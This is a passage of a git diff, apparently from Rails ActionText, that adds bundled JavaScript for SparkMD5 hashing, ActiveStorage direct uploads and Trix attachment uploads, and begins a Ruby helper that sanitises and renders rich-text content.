+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[14] - 1019803690 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[3] - 187363961 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[8] + 1163531501 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b & d | c & ~d) + k[13] - 1444681467 | 0;
+        a = (a << 5 | a >>> 27) + b | 0;
+        d += (a & c | b & ~c) + k[2] - 51403784 | 0;
+        d = (d << 9 | d >>> 23) + a | 0;
+        c += (d & b | a & ~b) + k[7] + 1735328473 | 0;
+        c = (c << 14 | c >>> 18) + d | 0;
+        b += (c & a | d & ~a) + k[12] - 1926607734 | 0;
+        b = (b << 20 | b >>> 12) + c | 0;
+        a += (b ^ c ^ d) + k[5] - 378558 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[8] - 2022574463 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[11] + 1839030562 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[14] - 35309556 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[1] - 1530992060 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[4] + 1272893353 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[7] - 155497632 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[10] - 1094730640 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[13] + 681279174 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[0] - 358537222 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[3] - 722521979 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[6] + 76029189 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (b ^ c ^ d) + k[9] - 640364487 | 0;
+        a = (a << 4 | a >>> 28) + b | 0;
+        d += (a ^ b ^ c) + k[12] - 421815835 | 0;
+        d = (d << 11 | d >>> 21) + a | 0;
+        c += (d ^ a ^ b) + k[15] + 530742520 | 0;
+        c = (c << 16 | c >>> 16) + d | 0;
+        b += (c ^ d ^ a) + k[2] - 995338651 | 0;
+        b = (b << 23 | b >>> 9) + c | 0;
+        a += (c ^ (b | ~d)) + k[0] - 198630844 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[7] + 1126891415 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[14] - 1416354905 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[5] - 57434055 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[12] + 1700485571 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[3] - 1894986606 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[10] - 1051523 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[1] - 2054922799 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[8] + 1873313359 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[15] - 30611744 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[6] - 1560198380 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[13] + 1309151649 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        a += (c ^ (b | ~d)) + k[4] - 145523070 | 0;
+        a = (a << 6 | a >>> 26) + b | 0;
+        d += (b ^ (a | ~c)) + k[11] - 1120210379 | 0;
+        d = (d << 10 | d >>> 22) + a | 0;
+        c += (a ^ (d | ~b)) + k[2] + 718787259 | 0;
+        c = (c << 15 | c >>> 17) + d | 0;
+        b += (d ^ (c | ~a)) + k[9] - 343485551 | 0;
+        b = (b << 21 | b >>> 11) + c | 0;
+        x[0] = a + x[0] | 0;
+        x[1] = b + x[1] | 0;
+        x[2] = c + x[2] | 0;
+        x[3] = d + x[3] | 0;
+      }
+      function md5blk(s) {
+        var md5blks = [], i;
+        for (i = 0; i < 64; i += 4) {
+          md5blks[i >> 2] = s.charCodeAt(i) + (s.charCodeAt(i + 1) << 8) + (s.charCodeAt(i + 2) << 16) + (s.charCodeAt(i + 3) << 24);
+        }
+        return md5blks;
+      }
+      function md5blk_array(a) {
+        var md5blks = [], i;
+        for (i = 0; i < 64; i += 4) {
+          md5blks[i >> 2] = a[i] + (a[i + 1] << 8) + (a[i + 2] << 16) + (a[i + 3] << 24);
+        }
+        return md5blks;
+      }
+      function md51(s) {
+        var n = s.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+        for (i = 64; i <= n; i += 64) {
+          md5cycle(state, md5blk(s.substring(i - 64, i)));
+        }
+        s = s.substring(i - 64);
+        length = s.length;
+        tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= s.charCodeAt(i) << (i % 4 << 3);
+        }
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(state, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = n * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(state, tail);
+        return state;
+      }
+      function md51_array(a) {
+        var n = a.length, state = [ 1732584193, -271733879, -1732584194, 271733878 ], i, length, tail, tmp, lo, hi;
+        for (i = 64; i <= n; i += 64) {
+          md5cycle(state, md5blk_array(a.subarray(i - 64, i)));
+        }
+        a = i - 64 < n ? a.subarray(i - 64) : new Uint8Array(0);
+        length = a.length;
+        tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ];
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= a[i] << (i % 4 << 3);
+        }
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(state, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = n * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(state, tail);
+        return state;
+      }
+      function rhex(n) {
+        var s = "", j;
+        for (j = 0; j < 4; j += 1) {
+          s += hex_chr[n >> j * 8 + 4 & 15] + hex_chr[n >> j * 8 & 15];
+        }
+        return s;
+      }
+      function hex(x) {
+        var i;
+        for (i = 0; i < x.length; i += 1) {
+          x[i] = rhex(x[i]);
+        }
+        return x.join("");
+      }
+      if (hex(md51("hello")) !== "5d41402abc4b2a76b9719d911017c592") ;
+      if (typeof ArrayBuffer !== "undefined" && !ArrayBuffer.prototype.slice) {
+        (function() {
+          function clamp(val, length) {
+            val = val | 0 || 0;
+            if (val < 0) {
+              return Math.max(val + length, 0);
+            }
+            return Math.min(val, length);
+          }
+          ArrayBuffer.prototype.slice = function(from, to) {
+            var length = this.byteLength, begin = clamp(from, length), end = length, num, target, targetArray, sourceArray;
+            if (to !== undefined$1) {
+              end = clamp(to, length);
+            }
+            if (begin > end) {
+              return new ArrayBuffer(0);
+            }
+            num = end - begin;
+            target = new ArrayBuffer(num);
+            targetArray = new Uint8Array(target);
+            sourceArray = new Uint8Array(this, begin, num);
+            targetArray.set(sourceArray);
+            return target;
+          };
+        })();
+      }
+      function toUtf8(str) {
+        if (/[\u0080-\uFFFF]/.test(str)) {
+          str = unescape(encodeURIComponent(str));
+        }
+        return str;
+      }
+      function utf8Str2ArrayBuffer(str, returnUInt8Array) {
+        var length = str.length, buff = new ArrayBuffer(length), arr = new Uint8Array(buff), i;
+        for (i = 0; i < length; i += 1) {
+          arr[i] = str.charCodeAt(i);
+        }
+        return returnUInt8Array ? arr : buff;
+      }
+      function arrayBuffer2Utf8Str(buff) {
+        return String.fromCharCode.apply(null, new Uint8Array(buff));
+      }
+      function concatenateArrayBuffers(first, second, returnUInt8Array) {
+        var result = new Uint8Array(first.byteLength + second.byteLength);
+        result.set(new Uint8Array(first));
+        result.set(new Uint8Array(second), first.byteLength);
+        return returnUInt8Array ? result : result.buffer;
+      }
+      function hexToBinaryString(hex) {
+        var bytes = [], length = hex.length, x;
+        for (x = 0; x < length - 1; x += 2) {
+          bytes.push(parseInt(hex.substr(x, 2), 16));
+        }
+        return String.fromCharCode.apply(String, bytes);
+      }
+      function SparkMD5() {
+        this.reset();
+      }
+      SparkMD5.prototype.append = function(str) {
+        this.appendBinary(toUtf8(str));
+        return this;
+      };
+      SparkMD5.prototype.appendBinary = function(contents) {
+        this._buff += contents;
+        this._length += contents.length;
+        var length = this._buff.length, i;
+        for (i = 64; i <= length; i += 64) {
+          md5cycle(this._hash, md5blk(this._buff.substring(i - 64, i)));
+        }
+        this._buff = this._buff.substring(i - 64);
+        return this;
+      };
+      SparkMD5.prototype.end = function(raw) {
+        var buff = this._buff, length = buff.length, i, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], ret;
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= buff.charCodeAt(i) << (i % 4 << 3);
+        }
+        this._finish(tail, length);
+        ret = hex(this._hash);
+        if (raw) {
+          ret = hexToBinaryString(ret);
+        }
+        this.reset();
+        return ret;
+      };
+      SparkMD5.prototype.reset = function() {
+        this._buff = "";
+        this._length = 0;
+        this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+        return this;
+      };
+      SparkMD5.prototype.getState = function() {
+        return {
+          buff: this._buff,
+          length: this._length,
+          hash: this._hash.slice()
+        };
+      };
+      SparkMD5.prototype.setState = function(state) {
+        this._buff = state.buff;
+        this._length = state.length;
+        this._hash = state.hash;
+        return this;
+      };
+      SparkMD5.prototype.destroy = function() {
+        delete this._hash;
+        delete this._buff;
+        delete this._length;
+      };
+      SparkMD5.prototype._finish = function(tail, length) {
+        var i = length, tmp, lo, hi;
+        tail[i >> 2] |= 128 << (i % 4 << 3);
+        if (i > 55) {
+          md5cycle(this._hash, tail);
+          for (i = 0; i < 16; i += 1) {
+            tail[i] = 0;
+          }
+        }
+        tmp = this._length * 8;
+        tmp = tmp.toString(16).match(/(.*?)(.{0,8})$/);
+        lo = parseInt(tmp[2], 16);
+        hi = parseInt(tmp[1], 16) || 0;
+        tail[14] = lo;
+        tail[15] = hi;
+        md5cycle(this._hash, tail);
+      };
+      SparkMD5.hash = function(str, raw) {
+        return SparkMD5.hashBinary(toUtf8(str), raw);
+      };
+      SparkMD5.hashBinary = function(content, raw) {
+        var hash = md51(content), ret = hex(hash);
+        return raw ? hexToBinaryString(ret) : ret;
+      };
+      SparkMD5.ArrayBuffer = function() {
+        this.reset();
+      };
+      SparkMD5.ArrayBuffer.prototype.append = function(arr) {
+        var buff = concatenateArrayBuffers(this._buff.buffer, arr, true), length = buff.length, i;
+        this._length += arr.byteLength;
+        for (i = 64; i <= length; i += 64) {
+          md5cycle(this._hash, md5blk_array(buff.subarray(i - 64, i)));
+        }
+        this._buff = i - 64 < length ? new Uint8Array(buff.buffer.slice(i - 64)) : new Uint8Array(0);
+        return this;
+      };
+      SparkMD5.ArrayBuffer.prototype.end = function(raw) {
+        var buff = this._buff, length = buff.length, tail = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ], i, ret;
+        for (i = 0; i < length; i += 1) {
+          tail[i >> 2] |= buff[i] << (i % 4 << 3);
+        }
+        this._finish(tail, length);
+        ret = hex(this._hash);
+        if (raw) {
+          ret = hexToBinaryString(ret);
+        }
+        this.reset();
+        return ret;
+      };
+      SparkMD5.ArrayBuffer.prototype.reset = function() {
+        this._buff = new Uint8Array(0);
+        this._length = 0;
+        this._hash = [ 1732584193, -271733879, -1732584194, 271733878 ];
+        return this;
+      };
+      SparkMD5.ArrayBuffer.prototype.getState = function() {
+        var state = SparkMD5.prototype.getState.call(this);
+        state.buff = arrayBuffer2Utf8Str(state.buff);
+        return state;
+      };
+      SparkMD5.ArrayBuffer.prototype.setState = function(state) {
+        state.buff = utf8Str2ArrayBuffer(state.buff, true);
+        return SparkMD5.prototype.setState.call(this, state);
+      };
+      SparkMD5.ArrayBuffer.prototype.destroy = SparkMD5.prototype.destroy;
+      SparkMD5.ArrayBuffer.prototype._finish = SparkMD5.prototype._finish;
+      SparkMD5.ArrayBuffer.hash = function(arr, raw) {
+        var hash = md51_array(new Uint8Array(arr)), ret = hex(hash);
+        return raw ? hexToBinaryString(ret) : ret;
+      };
+      return SparkMD5;
+    }));
+  })(sparkMd5);
+  var SparkMD5 = sparkMd5.exports;
+  const fileSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice;
+  class FileChecksum {
+    static create(file, callback) {
+      const instance = new FileChecksum(file);
+      instance.create(callback);
+    }
+    constructor(file) {
+      this.file = file;
+      this.chunkSize = 2097152;
+      this.chunkCount = Math.ceil(this.file.size / this.chunkSize);
+      this.chunkIndex = 0;
+    }
+    create(callback) {
+      this.callback = callback;
+      this.md5Buffer = new SparkMD5.ArrayBuffer;
+      this.fileReader = new FileReader;
+      this.fileReader.addEventListener("load", (event => this.fileReaderDidLoad(event)));
+      this.fileReader.addEventListener("error", (event => this.fileReaderDidError(event)));
+      this.readNextChunk();
+    }
+    fileReaderDidLoad(event) {
+      this.md5Buffer.append(event.target.result);
+      if (!this.readNextChunk()) {
+        const binaryDigest = this.md5Buffer.end(true);
+        const base64digest = btoa(binaryDigest);
+        this.callback(null, base64digest);
+      }
+    }
+    fileReaderDidError(event) {
+      this.callback(`Error reading ${this.file.name}`);
+    }
+    readNextChunk() {
+      if (this.chunkIndex < this.chunkCount || this.chunkIndex == 0 && this.chunkCount == 0) {
+        const start = this.chunkIndex * this.chunkSize;
+        const end = Math.min(start + this.chunkSize, this.file.size);
+        const bytes = fileSlice.call(this.file, start, end);
+        this.fileReader.readAsArrayBuffer(bytes);
+        this.chunkIndex++;
+        return true;
+      } else {
+        return false;
+      }
+    }
+  }
+  function getMetaValue(name) {
+    const element = findElement(document.head, `meta[name="${name}"]`);
+    if (element) {
+      return element.getAttribute("content");
+    }
+  }
+  function findElements(root, selector) {
+    if (typeof root == "string") {
+      selector = root;
+      root = document;
+    }
+    const elements = root.querySelectorAll(selector);
+    return toArray(elements);
+  }
+  function findElement(root, selector) {
+    if (typeof root == "string") {
+      selector = root;
+      root = document;
+    }
+    return root.querySelector(selector);
+  }
+  function dispatchEvent(element, type, eventInit = {}) {
+    const {disabled: disabled} = element;
+    const {bubbles: bubbles, cancelable: cancelable, detail: detail} = eventInit;
+    const event = document.createEvent("Event");
+    event.initEvent(type, bubbles || true, cancelable || true);
+    event.detail = detail || {};
+    try {
+      element.disabled = false;
+      element.dispatchEvent(event);
+    } finally {
+      element.disabled = disabled;
+    }
+    return event;
+  }
+  function toArray(value) {
+    if (Array.isArray(value)) {
+      return value;
+    } else if (Array.from) {
+      return Array.from(value);
+    } else {
+      return [].slice.call(value);
+    }
+  }
+  class BlobRecord {
+    constructor(file, checksum, url, customHeaders = {}) {
+      this.file = file;
+      this.attributes = {
+        filename: file.name,
+        content_type: file.type || "application/octet-stream",
+        byte_size: file.size,
+        checksum: checksum
+      };
+      this.xhr = new XMLHttpRequest;
+      this.xhr.open("POST", url, true);
+      this.xhr.responseType = "json";
+      this.xhr.setRequestHeader("Content-Type", "application/json");
+      this.xhr.setRequestHeader("Accept", "application/json");
+      this.xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
+      Object.keys(customHeaders).forEach((headerKey => {
+        this.xhr.setRequestHeader(headerKey, customHeaders[headerKey]);
+      }));
+      const csrfToken = getMetaValue("csrf-token");
+      if (csrfToken != undefined) {
+        this.xhr.setRequestHeader("X-CSRF-Token", csrfToken);
+      }
+      this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+      this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+    }
+    get status() {
+      return this.xhr.status;
+    }
+    get response() {
+      const {responseType: responseType, response: response} = this.xhr;
+      if (responseType == "json") {
+        return response;
+      } else {
+        return JSON.parse(response);
+      }
+    }
+    create(callback) {
+      this.callback = callback;
+      this.xhr.send(JSON.stringify({
+        blob: this.attributes
+      }));
+    }
+    requestDidLoad(event) {
+      if (this.status >= 200 && this.status < 300) {
+        const {response: response} = this;
+        const {direct_upload: direct_upload} = response;
+        delete response.direct_upload;
+        this.attributes = response;
+        this.directUploadData = direct_upload;
+        this.callback(null, this.toJSON());
+      } else {
+        this.requestDidError(event);
+      }
+    }
+    requestDidError(event) {
+      this.callback(`Error creating Blob for "${this.file.name}". Status: ${this.status}`);
+    }
+    toJSON() {
+      const result = {};
+      for (const key in this.attributes) {
+        result[key] = this.attributes[key];
+      }
+      return result;
+    }
+  }
+  class BlobUpload {
+    constructor(blob) {
+      this.blob = blob;
+      this.file = blob.file;
+      const {url: url, headers: headers} = blob.directUploadData;
+      this.xhr = new XMLHttpRequest;
+      this.xhr.open("PUT", url, true);
+      this.xhr.responseType = "text";
+      for (const key in headers) {
+        this.xhr.setRequestHeader(key, headers[key]);
+      }
+      this.xhr.addEventListener("load", (event => this.requestDidLoad(event)));
+      this.xhr.addEventListener("error", (event => this.requestDidError(event)));
+    }
+    create(callback) {
+      this.callback = callback;
+      this.xhr.send(this.file.slice());
+    }
+    requestDidLoad(event) {
+      const {status: status, response: response} = this.xhr;
+      if (status >= 200 && status < 300) {
+        this.callback(null, response);
+      } else {
+        this.requestDidError(event);
+      }
+    }
+    requestDidError(event) {
+      this.callback(`Error storing "${this.file.name}". Status: ${this.xhr.status}`);
+    }
+  }
+  let id = 0;
+  class DirectUpload {
+    constructor(file, url, delegate, customHeaders = {}) {
+      this.id = ++id;
+      this.file = file;
+      this.url = url;
+      this.delegate = delegate;
+      this.customHeaders = customHeaders;
+    }
+    create(callback) {
+      FileChecksum.create(this.file, ((error, checksum) => {
+        if (error) {
+          callback(error);
+          return;
+        }
+        const blob = new BlobRecord(this.file, checksum, this.url, this.customHeaders);
+        notify(this.delegate, "directUploadWillCreateBlobWithXHR", blob.xhr);
+        blob.create((error => {
+          if (error) {
+            callback(error);
+          } else {
+            const upload = new BlobUpload(blob);
+            notify(this.delegate, "directUploadWillStoreFileWithXHR", upload.xhr);
+            upload.create((error => {
+              if (error) {
+                callback(error);
+              } else {
+                callback(null, blob.toJSON());
+              }
+            }));
+          }
+        }));
+      }));
+    }
+  }
+  function notify(object, methodName, ...messages) {
+    if (object && typeof object[methodName] == "function") {
+      return object[methodName](...messages);
+    }
+  }
+  class DirectUploadController {
+    constructor(input, file) {
+      this.input = input;
+      this.file = file;
+      this.directUpload = new DirectUpload(this.file, this.url, this);
+      this.dispatch("initialize");
+    }
+    start(callback) {
+      const hiddenInput = document.createElement("input");
+      hiddenInput.type = "hidden";
+      hiddenInput.name = this.input.name;
+      this.input.insertAdjacentElement("beforebegin", hiddenInput);
+      this.dispatch("start");
+      this.directUpload.create(((error, attributes) => {
+        if (error) {
+          hiddenInput.parentNode.removeChild(hiddenInput);
+          this.dispatchError(error);
+        } else {
+          hiddenInput.value = attributes.signed_id;
+        }
+        this.dispatch("end");
+        callback(error);
+      }));
+    }
+    uploadRequestDidProgress(event) {
+      const progress = event.loaded / event.total * 90;
+      if (progress) {
+        this.dispatch("progress", {
+          progress: progress
+        });
+      }
+    }
+    get url() {
+      return this.input.getAttribute("data-direct-upload-url");
+    }
+    dispatch(name, detail = {}) {
+      detail.file = this.file;
+      detail.id = this.directUpload.id;
+      return dispatchEvent(this.input, `direct-upload:${name}`, {
+        detail: detail
+      });
+    }
+    dispatchError(error) {
+      const event = this.dispatch("error", {
+        error: error
+      });
+      if (!event.defaultPrevented) {
+        alert(error);
+      }
+    }
+    directUploadWillCreateBlobWithXHR(xhr) {
+      this.dispatch("before-blob-request", {
+        xhr: xhr
+      });
+    }
+    directUploadWillStoreFileWithXHR(xhr) {
+      this.dispatch("before-storage-request", {
+        xhr: xhr
+      });
+      xhr.upload.addEventListener("progress", (event => this.uploadRequestDidProgress(event)));
+      xhr.upload.addEventListener("loadend", (() => {
+        this.simulateResponseProgress(xhr);
+      }));
+    }
+    simulateResponseProgress(xhr) {
+      let progress = 90;
+      const startTime = Date.now();
+      const updateProgress = () => {
+        const elapsed = Date.now() - startTime;
+        const estimatedResponseTime = this.estimateResponseTime();
+        const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+        progress = 90 + responseProgress * 9;
+        this.dispatch("progress", {
+          progress: progress
+        });
+        if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+          requestAnimationFrame(updateProgress);
+        }
+      };
+      xhr.addEventListener("loadend", (() => {
+        this.dispatch("progress", {
+          progress: 100
+        });
+      }));
+      requestAnimationFrame(updateProgress);
+    }
+    estimateResponseTime() {
+      const fileSize = this.file.size;
+      const MB = 1024 * 1024;
+      if (fileSize < MB) {
+        return 1e3;
+      } else if (fileSize < 10 * MB) {
+        return 2e3;
+      } else {
+        return 3e3 + fileSize / MB * 50;
+      }
+    }
+  }
+  const inputSelector = "input[type=file][data-direct-upload-url]:not([disabled])";
+  class DirectUploadsController {
+    constructor(form) {
+      this.form = form;
+      this.inputs = findElements(form, inputSelector).filter((input => input.files.length));
+    }
+    start(callback) {
+      const controllers = this.createDirectUploadControllers();
+      const startNextController = () => {
+        const controller = controllers.shift();
+        if (controller) {
+          controller.start((error => {
+            if (error) {
+              callback(error);
+              this.dispatch("end");
+            } else {
+              startNextController();
+            }
+          }));
+        } else {
+          callback();
+          this.dispatch("end");
+        }
+      };
+      this.dispatch("start");
+      startNextController();
+    }
+    createDirectUploadControllers() {
+      const controllers = [];
+      this.inputs.forEach((input => {
+        toArray(input.files).forEach((file => {
+          const controller = new DirectUploadController(input, file);
+          controllers.push(controller);
+        }));
+      }));
+      return controllers;
+    }
+    dispatch(name, detail = {}) {
+      return dispatchEvent(this.form, `direct-uploads:${name}`, {
+        detail: detail
+      });
+    }
+  }
+  const processingAttribute = "data-direct-uploads-processing";
+  const submitButtonsByForm = new WeakMap;
+  let started = false;
+  function start() {
+    if (!started) {
+      started = true;
+      document.addEventListener("click", didClick, true);
+      document.addEventListener("submit", didSubmitForm, true);
+      document.addEventListener("ajax:before", didSubmitRemoteElement);
+    }
+  }
+  function didClick(event) {
+    const button = event.target.closest("button, input");
+    if (button && button.type === "submit" && button.form) {
+      submitButtonsByForm.set(button.form, button);
+    }
+  }
+  function didSubmitForm(event) {
+    handleFormSubmissionEvent(event);
+  }
+  function didSubmitRemoteElement(event) {
+    if (event.target.tagName == "FORM") {
+      handleFormSubmissionEvent(event);
+    }
+  }
+  function handleFormSubmissionEvent(event) {
+    const form = event.target;
+    if (form.hasAttribute(processingAttribute)) {
+      event.preventDefault();
+      return;
+    }
+    const controller = new DirectUploadsController(form);
+    const {inputs: inputs} = controller;
+    if (inputs.length) {
+      event.preventDefault();
+      form.setAttribute(processingAttribute, "");
+      inputs.forEach(disable);
+      controller.start((error => {
+        form.removeAttribute(processingAttribute);
+        if (error) {
+          inputs.forEach(enable);
+        } else {
+          submitForm(form);
+        }
+      }));
+    }
+  }
+  function submitForm(form) {
+    let button = submitButtonsByForm.get(form) || findElement(form, "input[type=submit], button[type=submit]");
+    if (button) {
+      const {disabled: disabled} = button;
+      button.disabled = false;
+      button.focus();
+      button.click();
+      button.disabled = disabled;
+    } else {
+      button = document.createElement("input");
+      button.type = "submit";
+      button.style.display = "none";
+      form.appendChild(button);
+      button.click();
+      form.removeChild(button);
+    }
+    submitButtonsByForm.delete(form);
+  }
+  function disable(input) {
+    input.disabled = true;
+  }
+  function enable(input) {
+    input.disabled = false;
+  }
+  function autostart() {
+    if (window.ActiveStorage) {
+      start();
+    }
+  }
+  setTimeout(autostart, 1);
+  class AttachmentUpload {
+    constructor(attachment, element, file = attachment.file) {
+      this.attachment = attachment;
+      this.element = element;
+      this.directUpload = new DirectUpload(file, this.directUploadUrl, this);
+      this.file = file;
+    }
+    start() {
+      return new Promise(((resolve, reject) => {
+        this.directUpload.create(((error, attributes) => this.directUploadDidComplete(error, attributes, resolve, reject)));
+        this.dispatch("start");
+      }));
+    }
+    directUploadWillStoreFileWithXHR(xhr) {
+      xhr.upload.addEventListener("progress", (event => {
+        const progress = event.loaded / event.total * 90;
+        if (progress) {
+          this.dispatch("progress", {
+            progress: progress
+          });
+        }
+      }));
+      xhr.upload.addEventListener("loadend", (() => {
+        this.simulateResponseProgress(xhr);
+      }));
+    }
+    simulateResponseProgress(xhr) {
+      let progress = 90;
+      const startTime = Date.now();
+      const updateProgress = () => {
+        const elapsed = Date.now() - startTime;
+        const estimatedResponseTime = this.estimateResponseTime();
+        const responseProgress = Math.min(elapsed / estimatedResponseTime, 1);
+        progress = 90 + responseProgress * 9;
+        this.dispatch("progress", {
+          progress: progress
+        });
+        if (xhr.readyState !== XMLHttpRequest.DONE && progress < 99) {
+          requestAnimationFrame(updateProgress);
+        }
+      };
+      xhr.addEventListener("loadend", (() => {
+        this.dispatch("progress", {
+          progress: 100
+        });
+      }));
+      requestAnimationFrame(updateProgress);
+    }
+    estimateResponseTime() {
+      const fileSize = this.file.size;
+      const MB = 1024 * 1024;
+      if (fileSize < MB) {
+        return 1e3;
+      } else if (fileSize < 10 * MB) {
+        return 2e3;
+      } else {
+        return 3e3 + fileSize / MB * 50;
+      }
+    }
+    directUploadDidComplete(error, attributes, resolve, reject) {
+      if (error) {
+        this.dispatchError(error, reject);
+      } else {
+        resolve({
+          sgid: attributes.attachable_sgid,
+          url: this.createBlobUrl(attributes.signed_id, attributes.filename)
+        });
+        this.dispatch("end");
+      }
+    }
+    createBlobUrl(signedId, filename) {
+      return this.blobUrlTemplate.replace(":signed_id", signedId).replace(":filename", encodeURIComponent(filename));
+    }
+    dispatch(name, detail = {}) {
+      detail.attachment = this.attachment;
+      return dispatchEvent(this.element, `direct-upload:${name}`, {
+        detail: detail
+      });
+    }
+    dispatchError(error, reject) {
+      const event = this.dispatch("error", {
+        error: error
+      });
+      if (!event.defaultPrevented) {
+        reject(error);
+      }
+    }
+    get directUploadUrl() {
+      return this.element.dataset.directUploadUrl;
+    }
+    get blobUrlTemplate() {
+      return this.element.dataset.blobUrlTemplate;
+    }
+  }
+  addEventListener("trix-attachment-add", (event => {
+    const {attachment: attachment, target: target} = event;
+    if (attachment.file) {
+      const upload = new AttachmentUpload(attachment, target, attachment.file);
+      const onProgress = event => attachment.setUploadProgress(event.detail.progress);
+      target.addEventListener("direct-upload:progress", onProgress);
+      upload.start().then((attributes => attachment.setAttributes(attributes))).catch((error => alert(error))).finally((() => target.removeEventListener("direct-upload:progress", onProgress)));
+    }
+  }));
+  exports.AttachmentUpload = AttachmentUpload;
+  Object.defineProperty(exports, "__esModule", {
+    value: true
+  });
+}));
diff --git a/actiontext/app/helpers/action_text/content_helper.rb b/actiontext/app/helpers/action_text/content_helper.rb
new file mode 100644
index 0000000000000..cae096b2a0538
--- /dev/null
+++ b/actiontext/app/helpers/action_text/content_helper.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "rails-html-sanitizer"
+
+module ActionText
+  module ContentHelper
+    mattr_accessor(:sanitizer, default: Rails::HTML4::Sanitizer.safe_list_sanitizer.new)
+    mattr_accessor(:allowed_tags)
+    mattr_accessor(:allowed_attributes)
+    mattr_accessor(:scrubber)
+
+    def render_action_text_content(content)
+      self.prefix_partial_path_with_controller_namespace = false
+      sanitize_action_text_content(render_action_text_attachments(content))
+    end
+
+    def sanitize_content_attachment(content_attachment)
+      sanitizer.sanitize(
+        content_attachment,
+        tags: sanitizer_allowed_tags,
+        attributes: sanitizer_allowed_attributes,
+        scrubber: scrubber,
+      )
+    end
+
+    def sanitize_action_text_content(content)
+      sanitizer.sanitize(
+        content.to_html,
+        tags: sanitizer_allowed_tags,
+        attributes: sanitizer_allowed_attributes,
+        scrubber: scrubber,
+      ).html_safe
+    end
+
+    def render_action_text_attachments(content)
+      content.render_attachments do |attachment|
+        unless attachment.in?(content.gallery_attachments)
+          attachment.node.tap do |node|
+            node.inner_html = render_action_text_attachment attachment, locals: { in_gallery: false }
+          end
+        end
+      end.render_attachment_galleries do |attachment_gallery|
+        render(layout: attachment_gallery, object: attachment_gallery) do
+          attachment_gallery.attachments.map do |attachment|
+            attachment.node.inner_html = render_action_text_attachment attachment, locals: { in_gallery: true }
+            attachment.to_html
+          end.join.html_safe
+        end.chomp
+      end
+    end
+
+    def render_action_text_attachment(attachment, locals: {}) # :nodoc:
+      options = { locals: locals, object: attachment, partial: attachment }
+
+      if attachment.respond_to?(:to_attachable_partial_path)
+        options[:partial] = attachment.to_attachable_partial_path
+      end
+
+      if attachment.respond_to?(:model_name)
+        options[:as] = attachment.model_name.element
+      end
+
+      render(**options).chomp
+    end
+
